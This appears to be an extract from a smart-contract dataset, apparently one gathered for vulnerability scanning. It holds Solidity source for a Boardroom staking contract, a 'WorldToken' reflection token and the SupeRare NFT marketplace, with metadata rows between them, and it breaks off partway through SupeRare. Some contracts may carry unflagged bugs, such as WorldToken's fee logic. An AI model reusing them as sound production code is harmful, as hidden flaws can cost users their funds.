return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(!checkSameOriginReentranted(), "ContractGuard: one block, one function");
require(!checkSameSenderReentranted(), "ContractGuard: one block, one function");
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
interface IBasisAsset {
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
function transferOperator(address newOperator_) external;
}
interface ITreasury {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function getRockPrice() external view returns (uint256);
function buyBonds(uint256 amount, uint256 targetPrice) external;
function redeemBonds(uint256 amount, uint256 targetPrice) external;
}
contract ShareWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public share;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
share.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 memberShare = _balances[msg.sender];
require(memberShare >= amount, "Boardroom: withdraw request greater than staked amount");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = memberShare.sub(amount);
share.safeTransfer(msg.sender, amount);
}
}
contract Boardroom is ShareWrapper, ContractGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Memberseat {
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct BoardroomSnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
// governance
address public operator;
// flags
bool public initialized = false;
IERC20 public rock;
ITreasury public treasury;
mapping(address => Memberseat) public members;
BoardroomSnapshot[] public boardroomHistory;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
event Initialized(address indexed executor, uint256 at);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
modifier onlyOperator() {
require(operator == msg.sender, "Boardroom: caller is not the operator");
_;
}
modifier memberExists() {
require(balanceOf(msg.sender) > 0, "Boardroom: The member does not exist");
_;
}
modifier updateReward(address member) {
if (member != address(0)) {
Memberseat memory seat = members[member];
seat.rewardEarned = earned(member);
seat.lastSnapshotIndex = latestSnapshotIndex();
members[member] = seat;
}
_;
}
modifier notInitialized() {
require(!initialized, "Boardroom: already initialized");
_;
}
function initialize(IERC20 _rock,
IERC20 _share,
ITreasury _treasury) public notInitialized {
rock = _rock;
share = _share;
treasury = _treasury;
BoardroomSnapshot memory genesisSnapshot = BoardroomSnapshot({time: block.number, rewardReceived: 0, rewardPerShare: 0});
boardroomHistory.push(genesisSnapshot);
withdrawLockupEpochs = 4; // Lock for 4 epochs (24h) before release withdraw
rewardLockupEpochs = 2; // Lock for 2 epochs (12h) before release claimReward
initialized = true;
operator = msg.sender;
emit Initialized(msg.sender, block.number);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator {
require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return boardroomHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (BoardroomSnapshot memory) {
return boardroomHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address member) public view returns (uint256) {
return members[member].lastSnapshotIndex;
}
function getLastSnapshotOf(address member) internal view returns (BoardroomSnapshot memory) {
return boardroomHistory[getLastSnapshotIndexOf(member)];
}
function canWithdraw(address member) external view returns (bool) {
return members[member].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch();
}
function canClaimReward(address member) external view returns (bool) {
return members[member].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch();
}
function epoch() external view returns (uint256) {
return treasury.epoch();
}
function nextEpochPoint() external view returns (uint256) {
return treasury.nextEpochPoint();
}
function getRockPrice() external view returns (uint256) {
return treasury.getRockPrice();
}
// =========== Member getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address member) public view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(member).rewardPerShare;
return balanceOf(member).mul(latestRPS.sub(storedRPS)).div(1e18).add(members[member].rewardEarned);
}
function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) {
require(amount > 0, "Boardroom: Cannot stake 0");
super.stake(amount);
members[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override onlyOneBlock memberExists updateReward(msg.sender) {
require(amount > 0, "Boardroom: Cannot withdraw 0");
require(members[msg.sender].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(), "Boardroom: still in withdraw lockup");
claimReward();
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function claimReward() public updateReward(msg.sender) {
uint256 reward = members[msg.sender].rewardEarned;
if (reward > 0) {
require(members[msg.sender].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(), "Boardroom: still in reward lockup");
members[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
members[msg.sender].rewardEarned = 0;
rock.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator {
require(amount > 0, "Boardroom: Cannot allocate 0");
require(totalSupply() > 0, "Boardroom: Cannot allocate when totalSupply is 0");
// Create & add new snapshot
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply()));
BoardroomSnapshot memory newSnapshot = BoardroomSnapshot({time: block.number, rewardReceived: amount, rewardPerShare: nextRPS});
boardroomHistory.push(newSnapshot);
rock.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function governanceRecoverUnsupported(IERC20 _token,
uint256 _amount,
address _to) external onlyOperator {
// do not allow to drain core tokens
require(address(_token) != address(rock), "rock");
require(address(_token) != address(share), "share");
_token.safeTransfer(_to, _amount);
}
}
| 72,456 | 10,571 |
3847f7e03d1acb3241c66ffdb4a2d9f392b4ac6efb5035bd8b539f5444b53dcd
| 23,720 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/9173_8072_0xbf494f02ee3fde1f20bee6242bce2d1ed0c15e47.sol
| 4,625 | 18,629 |
// contracts/WorldToken.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.7.4;
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract WorldToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private constant NAME = "World Token";
string private constant SYMBOL = "WORLD";
uint8 private constant DECIMALS = 18;
mapping(address => uint256) private rewards;
mapping(address => uint256) private actual;
mapping(address => mapping(address => uint256)) private allowances;
mapping(address => bool) private excludedFromFees;
mapping(address => bool) private excludedFromRewards;
address[] private rewardExcluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant ACTUAL_TOTAL = 100_000_000 * 1e18;
uint256 private rewardsTotal = (MAX - (MAX % ACTUAL_TOTAL));
uint256 private holderFeeTotal;
uint256 private marketingFeeTotal;
uint256 private lpFeeTotal;
uint256 private merchantFeeTotal;
uint256 public taxPercentage = 3;
uint256 public holderTaxAlloc = 10;
uint256 public marketingTaxAlloc = 10;
uint256 public lpTaxAlloc = 10;
uint256 public merchantTaxAlloc;
uint256 public totalTaxAlloc = marketingTaxAlloc.add(holderTaxAlloc).add(lpTaxAlloc).add(merchantTaxAlloc);
address public marketingAddress;
address public lpStakingAddress;
address public merchantStakingAddress;
constructor(address _marketingAddress) {
rewards[_marketingAddress] = rewardsTotal;
emit Transfer(address(0), _marketingAddress, ACTUAL_TOTAL);
marketingAddress = _marketingAddress;
excludeFromRewards(_msgSender());
excludeFromFees(_marketingAddress);
if (_marketingAddress != _msgSender()) {
excludeFromRewards(_marketingAddress);
excludeFromFees(_msgSender());
}
excludeFromFees(address(0x000000000000000000000000000000000000dEaD));
}
function name() external pure returns (string memory) {
return NAME;
}
function symbol() external pure returns (string memory) {
return SYMBOL;
}
function decimals() external pure returns (uint8) {
return DECIMALS;
}
function totalSupply() external pure override returns (uint256) {
return ACTUAL_TOTAL;
}
function balanceOf(address _account) public view override returns (uint256) {
if (excludedFromRewards[_account]) {
return actual[_account];
}
return tokenWithRewards(rewards[_account]);
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender,
address _recipient,
uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender,
_msgSender(),
allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address _spender, uint256 _addedValue) public virtual returns (bool) {
_approve(_msgSender(), _spender, allowances[_msgSender()][_spender].add(_addedValue));
return true;
}
function decreaseAllowance(address _spender, uint256 _subtractedValue) public virtual returns (bool) {
_approve(_msgSender(),
_spender,
allowances[_msgSender()][_spender].sub(_subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromRewards(address _account) external view returns (bool) {
return excludedFromRewards[_account];
}
function isExcludedFromFees(address _account) external view returns (bool) {
return excludedFromFees[_account];
}
function totalFees() external view returns (uint256) {
return holderFeeTotal.add(marketingFeeTotal).add(lpFeeTotal).add(merchantFeeTotal);
}
function totalHolderFees() external view returns (uint256) {
return holderFeeTotal;
}
function totalMarketingFees() external view returns (uint256) {
return marketingFeeTotal;
}
function totalLpFees() external view returns (uint256) {
return lpFeeTotal;
}
function totalMerchantFees() external view returns (uint256) {
return merchantFeeTotal;
}
function distribute(uint256 _actualAmount) public {
address sender = _msgSender();
require(!excludedFromRewards[sender], "Excluded addresses cannot call this function");
(uint256 rewardAmount, , , ,) = _getValues(_actualAmount);
rewards[sender] = rewards[sender].sub(rewardAmount);
rewardsTotal = rewardsTotal.sub(rewardAmount);
holderFeeTotal = holderFeeTotal.add(_actualAmount);
}
function excludeFromFees(address _account) public onlyOwner() {
require(!excludedFromFees[_account], "Account is already excluded from fee");
excludedFromFees[_account] = true;
}
function includeInFees(address _account) public onlyOwner() {
require(excludedFromFees[_account], "Account is already included in fee");
excludedFromFees[_account] = false;
}
function excludeFromRewards(address _account) public onlyOwner() {
require(!excludedFromRewards[_account], "Account is already excluded from reward");
if (rewards[_account] > 0) {
actual[_account] = tokenWithRewards(rewards[_account]);
}
excludedFromRewards[_account] = true;
rewardExcluded.push(_account);
}
function includeInRewards(address _account) public onlyOwner() {
require(excludedFromRewards[_account], "Account is already included in rewards");
for (uint256 i = 0; i < rewardExcluded.length; i++) {
if (rewardExcluded[i] == _account) {
rewardExcluded[i] = rewardExcluded[rewardExcluded.length - 1];
actual[_account] = 0;
excludedFromRewards[_account] = false;
rewardExcluded.pop();
break;
}
}
}
function _approve(address _owner,
address _spender,
uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender,
address _recipient,
uint256 _amount) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
require(_amount > 0, "Transfer amount must be greater than zero");
uint256 currentTaxPercentage = taxPercentage;
if (excludedFromFees[_sender] || excludedFromFees[_recipient]) {
taxPercentage = 0;
} else {
uint256 fee = _getFee(_amount);
uint256 marketingFee = _getMarketingFee(fee);
uint256 lpFee = _getLpFee(fee);
uint256 merchantFee = _getMerchantFee(fee);
_updateMarketingFee(marketingFee);
_updateLpFee(lpFee);
_updateMerchantFee(merchantFee);
}
if (excludedFromRewards[_sender] && !excludedFromRewards[_recipient]) {
_transferWithoutSenderRewards(_sender, _recipient, _amount);
} else if (!excludedFromRewards[_sender] && excludedFromRewards[_recipient]) {
_transferWithRecipientRewards(_sender, _recipient, _amount);
} else if (!excludedFromRewards[_sender] && !excludedFromRewards[_recipient]) {
_transferWithRewards(_sender, _recipient, _amount);
} else if (excludedFromRewards[_sender] && excludedFromRewards[_recipient]) {
_transferWithoutRewards(_sender, _recipient, _amount);
} else {
_transferWithRewards(_sender, _recipient, _amount);
}
if (currentTaxPercentage != taxPercentage) {
taxPercentage = currentTaxPercentage;
}
}
function _transferWithRewards(address _sender,
address _recipient,
uint256 _actualAmount) private {
(uint256 rewardAmount,
uint256 rewardTransferAmount,
uint256 rewardFee,
uint256 actualTransferAmount,
uint256 actualFee) = _getValues(_actualAmount);
rewards[_sender] = rewards[_sender].sub(rewardAmount);
rewards[_recipient] = rewards[_recipient].add(rewardTransferAmount);
_updateHolderFee(rewardFee, actualFee);
emit Transfer(_sender, _recipient, actualTransferAmount);
}
function _transferWithRecipientRewards(address _sender,
address _recipient,
uint256 _actualAmount) private {
(uint256 rewardAmount,
uint256 rewardTransferAmount,
uint256 rewardFee,
uint256 actualTransferAmount,
uint256 actualFee) = _getValues(_actualAmount);
rewards[_sender] = rewards[_sender].sub(rewardAmount);
actual[_recipient] = actual[_recipient].add(actualTransferAmount);
rewards[_recipient] = rewards[_recipient].add(rewardTransferAmount);
_updateHolderFee(rewardFee, actualFee);
emit Transfer(_sender, _recipient, actualTransferAmount);
}
function _transferWithoutSenderRewards(address _sender,
address _recipient,
uint256 _actualAmount) private {
(uint256 rewardAmount,
uint256 rewardTransferAmount,
uint256 rewardFee,
uint256 actualTransferAmount,
uint256 actualFee) = _getValues(_actualAmount);
actual[_sender] = actual[_sender].sub(_actualAmount);
rewards[_sender] = rewards[_sender].sub(rewardAmount);
rewards[_recipient] = rewards[_recipient].add(rewardTransferAmount);
_updateHolderFee(rewardFee, actualFee);
emit Transfer(_sender, _recipient, actualTransferAmount);
}
function _transferWithoutRewards(address _sender,
address _recipient,
uint256 _actualAmount) private {
(uint256 rewardAmount,
uint256 rewardTransferAmount,
uint256 rewardFee,
uint256 actualTransferAmount,
uint256 actualFee) = _getValues(_actualAmount);
actual[_sender] = actual[_sender].sub(_actualAmount);
rewards[_sender] = rewards[_sender].sub(rewardAmount);
actual[_recipient] = actual[_recipient].add(actualTransferAmount);
rewards[_recipient] = rewards[_recipient].add(rewardTransferAmount);
_updateHolderFee(rewardFee, actualFee);
emit Transfer(_sender, _recipient, actualTransferAmount);
}
function _updateHolderFee(uint256 _rewardFee, uint256 _actualFee) private {
rewardsTotal = rewardsTotal.sub(_rewardFee);
holderFeeTotal = holderFeeTotal.add(_actualFee);
}
function _updateMarketingFee(uint256 _marketingFee) private {
if (marketingAddress == address(0)) {
return;
}
uint256 rewardsRate = _getRewardsRate();
uint256 rewardMarketingFee = _marketingFee.mul(rewardsRate);
marketingFeeTotal = marketingFeeTotal.add(_marketingFee);
rewards[marketingAddress] = rewards[marketingAddress].add(rewardMarketingFee);
if (excludedFromRewards[marketingAddress]) {
actual[marketingAddress] = actual[marketingAddress].add(_marketingFee);
}
}
function _updateLpFee(uint256 _lpFee) private {
if (lpStakingAddress == address(0)) {
return;
}
uint256 rewardsRate = _getRewardsRate();
uint256 rewardLpFee = _lpFee.mul(rewardsRate);
lpFeeTotal = lpFeeTotal.add(_lpFee);
rewards[lpStakingAddress] = rewards[lpStakingAddress].add(rewardLpFee);
if (excludedFromRewards[lpStakingAddress]) {
actual[lpStakingAddress] = actual[lpStakingAddress].add(_lpFee);
}
}
function _updateMerchantFee(uint256 _merchantFee) private {
if (merchantStakingAddress == address(0)) {
return;
}
uint256 rewardsRate = _getRewardsRate();
uint256 rewardMerchantFee = _merchantFee.mul(rewardsRate);
merchantFeeTotal = merchantFeeTotal.add(_merchantFee);
rewards[merchantStakingAddress] = rewards[merchantStakingAddress].add(rewardMerchantFee);
if (excludedFromRewards[merchantStakingAddress]) {
actual[merchantStakingAddress] = actual[merchantStakingAddress].add(_merchantFee);
}
}
function rewardsFromToken(uint256 _actualAmount, bool _deductTransferFee) public view returns (uint256) {
require(_actualAmount <= ACTUAL_TOTAL, "Amount must be less than supply");
if (!_deductTransferFee) {
(uint256 rewardAmount, , , ,) = _getValues(_actualAmount);
return rewardAmount;
} else {
(, uint256 rewardTransferAmount, , ,) = _getValues(_actualAmount);
return rewardTransferAmount;
}
}
function tokenWithRewards(uint256 _rewardAmount) public view returns (uint256) {
require(_rewardAmount <= rewardsTotal, "Amount must be less than total rewards");
uint256 rewardsRate = _getRewardsRate();
return _rewardAmount.div(rewardsRate);
}
function _getValues(uint256 _actualAmount)
private
view
returns (uint256,
uint256,
uint256,
uint256,
uint256)
{
(uint256 actualTransferAmount, uint256 actualFee) = _getActualValues(_actualAmount);
uint256 rewardsRate = _getRewardsRate();
(uint256 rewardAmount,
uint256 rewardTransferAmount,
uint256 rewardFee) = _getRewardValues(_actualAmount, actualFee, rewardsRate);
return (rewardAmount, rewardTransferAmount, rewardFee, actualTransferAmount, actualFee);
}
function _getActualValues(uint256 _actualAmount) private view returns (uint256, uint256) {
uint256 actualFee = _getFee(_actualAmount);
uint256 actualHolderFee = _getHolderFee(actualFee);
uint256 actualTransferAmount = _actualAmount.sub(actualFee);
return (actualTransferAmount, actualHolderFee);
}
function _getRewardValues(uint256 _actualAmount,
uint256 _actualHolderFee,
uint256 _rewardsRate)
private
view
returns (uint256,
uint256,
uint256)
{
uint256 actualFee = _getFee(_actualAmount).mul(_rewardsRate);
uint256 rewardAmount = _actualAmount.mul(_rewardsRate);
uint256 rewardTransferAmount = rewardAmount.sub(actualFee);
uint256 rewardFee = _actualHolderFee.mul(_rewardsRate);
return (rewardAmount, rewardTransferAmount, rewardFee);
}
function _getRewardsRate() private view returns (uint256) {
(uint256 rewardsSupply, uint256 actualSupply) = _getCurrentSupply();
return rewardsSupply.div(actualSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rewardsSupply = rewardsTotal;
uint256 actualSupply = ACTUAL_TOTAL;
for (uint256 i = 0; i < rewardExcluded.length; i++) {
if (rewards[rewardExcluded[i]] > rewardsSupply || actual[rewardExcluded[i]] > actualSupply) {
return (rewardsTotal, ACTUAL_TOTAL);
}
rewardsSupply = rewardsSupply.sub(rewards[rewardExcluded[i]]);
actualSupply = actualSupply.sub(actual[rewardExcluded[i]]);
}
if (rewardsSupply < rewardsTotal.div(ACTUAL_TOTAL)) {
return (rewardsTotal, ACTUAL_TOTAL);
}
return (rewardsSupply, actualSupply);
}
function _getFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(taxPercentage).div(100);
}
function _getHolderFee(uint256 _tax) private view returns (uint256) {
return _tax.mul(holderTaxAlloc).div(totalTaxAlloc);
}
function _getMarketingFee(uint256 _tax) private view returns (uint256) {
return _tax.mul(marketingTaxAlloc).div(totalTaxAlloc);
}
function _getLpFee(uint256 _tax) private view returns (uint256) {
return _tax.mul(lpTaxAlloc).div(totalTaxAlloc);
}
function _getMerchantFee(uint256 _tax) private view returns (uint256) {
return _tax.mul(merchantTaxAlloc).div(totalTaxAlloc);
}
function setTaxPercentage(uint256 _taxPercentage) external onlyOwner {
require(_taxPercentage >= 1 && _taxPercentage <= 10, "Value is outside of range 1-10");
taxPercentage = _taxPercentage;
}
function setTaxAllocations(uint256 _holderTaxAlloc,
uint256 _marketingTaxAlloc,
uint256 _lpTaxAlloc,
uint256 _merchantTaxAlloc) external onlyOwner {
totalTaxAlloc = _holderTaxAlloc.add(_marketingTaxAlloc).add(_lpTaxAlloc).add(_merchantTaxAlloc);
require(_holderTaxAlloc >= 5 && _holderTaxAlloc <= 10, "_holderTaxAlloc is outside of range 5-10");
require(_lpTaxAlloc >= 5 && _lpTaxAlloc <= 10, "_lpTaxAlloc is outside of range 5-10");
require(_marketingTaxAlloc <= 10, "_marketingTaxAlloc is greater than 10");
require(_merchantTaxAlloc <= 10, "_merchantTaxAlloc is greater than 10");
holderTaxAlloc = _holderTaxAlloc;
marketingTaxAlloc = _marketingTaxAlloc;
lpTaxAlloc = _lpTaxAlloc;
merchantTaxAlloc = _merchantTaxAlloc;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = _marketingAddress;
}
function setLpStakingAddress(address _lpStakingAddress) external onlyOwner {
lpStakingAddress = _lpStakingAddress;
}
function setMerchantStakingAddress(address _merchantStakingAddress) external onlyOwner {
merchantStakingAddress = _merchantStakingAddress;
}
}
| 232,218 | 10,572 |
542c64aa9043145e72e0750ab5f25c8a6d300c7e4f27181ee545651eb4707b46
| 24,075 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x41a322b28d0ff354040e2cbc676f0320d8c8850d.sol
| 3,903 | 14,355 |
pragma solidity ^0.4.18;
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721Token is ERC721 {
using SafeMath for uint256;
// Total amount of tokens
uint256 private totalTokens;
// Mapping from token ID to owner
mapping (uint256 => address) private tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private tokenApprovals;
// Mapping from owner to list of owned token IDs
mapping (address => uint256[]) private ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private ownedTokensIndex;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
function totalSupply() public view returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) public view returns (uint256) {
return ownedTokens[_owner].length;
}
function tokensOf(address _owner) public view returns (uint256[]) {
return ownedTokens[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function approvedFor(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
clearApprovalAndTransfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
address owner = ownerOf(_tokenId);
require(_to != owner);
if (approvedFor(_tokenId) != 0 || _to != 0) {
tokenApprovals[_tokenId] = _to;
Approval(owner, _to, _tokenId);
}
}
function takeOwnership(uint256 _tokenId) public {
require(isApprovedFor(msg.sender, _tokenId));
clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addToken(_to, _tokenId);
Transfer(0x0, _to, _tokenId);
}
function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) internal {
if (approvedFor(_tokenId) != 0) {
clearApproval(msg.sender, _tokenId);
}
removeToken(msg.sender, _tokenId);
Transfer(msg.sender, 0x0, _tokenId);
}
function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) {
return approvedFor(_tokenId) == _owner;
}
function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal {
require(_to != address(0));
require(_to != ownerOf(_tokenId));
require(ownerOf(_tokenId) == _from);
clearApproval(_from, _tokenId);
removeToken(_from, _tokenId);
addToken(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _owner);
tokenApprovals[_tokenId] = 0;
Approval(_owner, 0, _tokenId);
}
function addToken(address _to, uint256 _tokenId) private {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
uint256 length = balanceOf(_to);
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
totalTokens = totalTokens.add(1);
}
function removeToken(address _from, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _from);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = balanceOf(_from).sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
tokenOwner[_tokenId] = 0;
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
totalTokens = totalTokens.sub(1);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x5b5e139f
interface ERC721Metadata {
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external pure returns (string _name);
/// @notice An abbreviated name for NFTs in this contract
function symbol() external pure returns (string _symbol);
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
function tokenURI(uint256 _tokenId) external view returns (string);
}
contract SupeRare is ERC721Token, Ownable, ERC721Metadata {
using SafeMath for uint256;
// Percentage to owner of SupeRare. (* 10) to allow for < 1%
uint256 public maintainerPercentage = 30;
// Percentage to creator of artwork. (* 10) to allow for tens decimal.
uint256 public creatorPercentage = 100;
// Mapping from token ID to the address bidding
mapping(uint256 => address) private tokenBidder;
// Mapping from token ID to the current bid amount
mapping(uint256 => uint256) private tokenCurrentBid;
// Mapping from token ID to the owner sale price
mapping(uint256 => uint256) private tokenSalePrice;
// Mapping from token ID to the creator's address
mapping(uint256 => address) private tokenCreator;
// Mapping from token ID to the metadata uri
mapping(uint256 => string) private tokenToURI;
// Mapping from metadata uri to the token ID
mapping(string => uint256) private uriOriginalToken;
// Mapping from token ID to whether the token has been sold before.
mapping(uint256 => bool) private tokenSold;
// Mapping of address to boolean indicating whether the add
mapping(address => bool) private creatorWhitelist;
event WhitelistCreator(address indexed _creator);
event Bid(address indexed _bidder, uint256 indexed _amount, uint256 indexed _tokenId);
event AcceptBid(address indexed _bidder, address indexed _seller, uint256 _amount, uint256 indexed _tokenId);
event CancelBid(address indexed _bidder, uint256 indexed _amount, uint256 indexed _tokenId);
event Sold(address indexed _buyer, address indexed _seller, uint256 _amount, uint256 indexed _tokenId);
event SalePriceSet(uint256 indexed _tokenId, uint256 indexed _price);
modifier uniqueURI(string _uri) {
require(uriOriginalToken[_uri] == 0);
_;
}
modifier notOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) != msg.sender);
_;
}
modifier onlyCreator() {
require(creatorWhitelist[msg.sender] == true);
_;
}
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
tokenSold[_tokenId] = true;
tokenSalePrice[_tokenId] = 0;
clearApprovalAndTransfer(msg.sender, _to, _tokenId);
}
function addNewToken(string _uri) public uniqueURI(_uri) onlyCreator {
uint256 newId = createToken(_uri, msg.sender);
uriOriginalToken[_uri] = newId;
}
function addNewTokenWithEditions(string _uri, uint256 _editions, uint256 _salePrice) public uniqueURI(_uri) onlyCreator {
uint256 originalId = createToken(_uri, msg.sender);
uriOriginalToken[_uri] = originalId;
for (uint256 i=0; i<_editions; i++){
uint256 newId = createToken(_uri, msg.sender);
tokenSalePrice[newId] = _salePrice;
SalePriceSet(newId, _salePrice);
}
}
function bid(uint256 _tokenId) public payable notOwnerOf(_tokenId) {
require(isGreaterBid(_tokenId));
returnCurrentBid(_tokenId);
tokenBidder[_tokenId] = msg.sender;
tokenCurrentBid[_tokenId] = msg.value;
Bid(msg.sender, msg.value, _tokenId);
}
function acceptBid(uint256 _tokenId) public onlyOwnerOf(_tokenId) {
uint256 currentBid = tokenCurrentBid[_tokenId];
address currentBidder = tokenBidder[_tokenId];
